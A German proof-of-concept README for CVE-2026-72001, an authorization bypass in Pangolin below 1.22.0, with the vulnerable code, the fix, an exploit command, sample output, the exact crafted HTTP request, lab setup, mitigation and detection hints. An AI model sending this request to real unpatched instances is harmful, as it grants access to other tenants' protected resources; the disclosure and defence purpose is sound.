PoC für CVE-2026-72001 — Pangolin < 1.22.0 organisationsübergreifende Umgehung der Ressourcenauthentifizierung über den Share-Link-Access-Token-Endpunkt (CWE-639, CVSS 8.1).
Proof-of-Concept für CVE-2026-72001, eine Broken-Object-Level-Authorization-Schwachstelle in
Pangolin (< 1.22.0), die es dem Inhaber eines
Resource-Share-Links ermöglicht, eine gültige Resource-Session für jede andere Resource auf der
Instanz zu erzeugen, einschließlich Ressourcen, die einer anderen Organisation gehören, und dabei jede
konfigurierte Authentifizierungsmethode (SSO, Resource-Passwort, PIN, E-Mail-Allowlist, Header-Auth) zu umgehen.
| CVE | CVE-2026-72001 |
| Produkt | fosrl/pangolin |
| Betroffen | < 1.22.0 |
| Behoben | 1.22.0 |
| Klasse | Authorization Bypass Through User-Controlled Key (CWE-639) |
| CVSS 3.1 | 8.1 (HIGH) AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Auth | Angreifer benötigt lediglich einen gültigen Share-Link-Token für irgendeine Resource |
| Urteil | CONFIRMED VULNERABLE (End-to-End, Badger-Enforcement valid:true) |
Der Share-Link-Authentifizierungsendpunkt POST /api/v1/auth/resource/:resourceId/access-token
(server/routers/resource/authWithAccessToken.ts) hat zwei Zweige. Wenn die Anfrage
eine accessTokenId enthält, validiert er den Token, vergisst jedoch, diese Prüfung an die
Resource in der URL zu binden:
// vulnerable (<= 1.21.1)
const res = await verifyResourceAccessToken({
accessTokenId,
accessToken // <-- resourceId is NOT passed
});
valid = res.valid;
tokenItem = res.tokenItem;
resource = foundResource; // <-- resource taken from the ATTACKER-CONTROLLED :resourceId
verifyResourceAccessToken erzwingt die Resource-Bindung nur, wenn er resourceId erhält:
resourceId?: number; // IF THIS IS NOT SET, THE TOKEN IS VALID FOR ALL RESOURCES
...
if (resourceId && resource.resourceId !== resourceId) {
return { valid: false, error: "Resource ID does not match" };
}
Da der Handler resourceId niemals weiterleitet, wird die Prüfung übersprungen: Der Token wird
gegen seine eigene Resource validiert, während die Session für die in der URL genannte Resource
erzeugt wird. Anschließend wird eine Session (Badger-Request-Token) für die Opfer-Resource erstellt:
await createResourceSession({
resourceId: resource.resourceId, // attacker-chosen victim resource
accessTokenId: tokenItem.accessTokenId, // token from a completely different resource
isRequestToken: true, ...
});
Die Route liegt auf dem unauthentifizierten Router (unauthenticated.use("/auth", authRouter))
und hat kein Rate Limiting (im Gegensatz zu den verwandten Passwort-/PIN-/Whitelist-Auth-Routen).
Die CSRF-Middleware prüft lediglich auf einen statischen konstanten Header (X-CSRF-Token: x-csrf-protection).
Fix (1.22.0): Der Handler leitet resourceId an verifyResourceAccessToken weiter, sodass die
Mismatch-Prüfung greift und Cross-Resource-Anfragen 401 "Resource ID does not match" zurückgeben.
$ python3 exploit.py --url http://TARGET:3000 \
--token <accessToken> --token-id <accessTokenId> \
--target-resource <victim_resourceId> \
--prove-access <victim_fullDomain> --internal-url http://TARGET:3001
[+] CONFIRMED VULNERABLE - cross-resource session minted
target resourceId : 2
session (req-token): y5myp2nvab2hitkch4xaylrtdk7zsrny
redirectUrl : https://b1.example.com
[+] exchange-session -> valid=true; resource session cookie for b1.example.com
[+] verify-session @ b1.example.com -> valid=True (Access allowed)
[+] ACCESS GRANTED to a resource the share link never had rights to.
Die einzige verwundbare Anfrage ist:
POST /api/v1/auth/resource/2/access-token HTTP/1.1
Host: target:3000
Content-Type: application/json
X-CSRF-Token: x-csrf-protection
{"accessToken":"<tokenA>","accessTokenId":"<tokenA_id>"}
--prove-access tauscht zusätzlich den zurückgegebenen Request-Token am Badger-
Enforcement-Endpunkt (/badger/exchange-session → /badger/verify-session) ein — denselben Pfad,
den Traefik konsultiert —, um echten Zugriff nachzuweisen, nicht nur einen zurückgegebenen String. In einer Live-Deployment präsentiert der Angreifer einfach den Request-Token an die Resource, und Traefik/Badger tauschen ihn automatisch ein.
cd lab
./setup.sh # boots fosrl/pangolin:1.21.1 (default config, SQLite) and provisions
# two orgs / two resources, protects the victim, prints the exploit cmd
Siehe lab/setup.sh, ANALYSIS.md und
evidence/ für die vollständige Durchführung und die Grenze zwischen verwundbar und gepatcht.
Auf jeder Multi-Tenant-/Multi-Org-Pangolin-Instanz (selbst gehostet mit mehreren Orgs, MSP oder einer gehosteten Deployment) kann ein Akteur, der einen einzigen Share-Link erlangen kann — einen, den er legitim erhalten hat, einen, der geleakt wurde, oder einen, den er selbst auf einer beliebigen von ihm kontrollierten Resource ausstellt —, die geschützte Resource eines jeden anderen Tenants lesen und in deren Namen handeln. Vertraulichkeit und Integrität jeder geschützten Resource auf der Instanz sind kompromittiert (CVSS C:H/I:H).
Upgrade auf Pangolin ≥ 1.22.0. Der Fix bindet die Access-Token-Prüfung an die Resource-ID der URL. Kein Konfigurations-Workaround mildert < 1.22.0 vollständig ab; schränken Sie die Ausgabe von Resource- Share-Links ein und rotieren Sie bestehende Access-Tokens nach dem Upgrade.
Suchen Sie nach POST /api/v1/auth/resource/<id>/access-token, bei dem die präsentierte accessTokenId
zu einer Resource gehört, deren ID ≠ <id> ist (Cross-Resource-Token-Nutzung), sowie nach Access-Token-
Auth-Anfragen, die in hohem Volumen eintreffen (die Route ist ungedrosselt). Die logAccessAudit-
Einträge zeigen eine accessToken-Aktion, deren Token-Org von der Resource-Org abweicht.
Entdeckt / analysiert und PoC von BiiTts (Caio Fabrício). Schwachstelle gemeldet von VulnCheck; Advisory: https://www.vulncheck.com/advisories/pangolin-authentication-bypass-via-share-link-endpoint.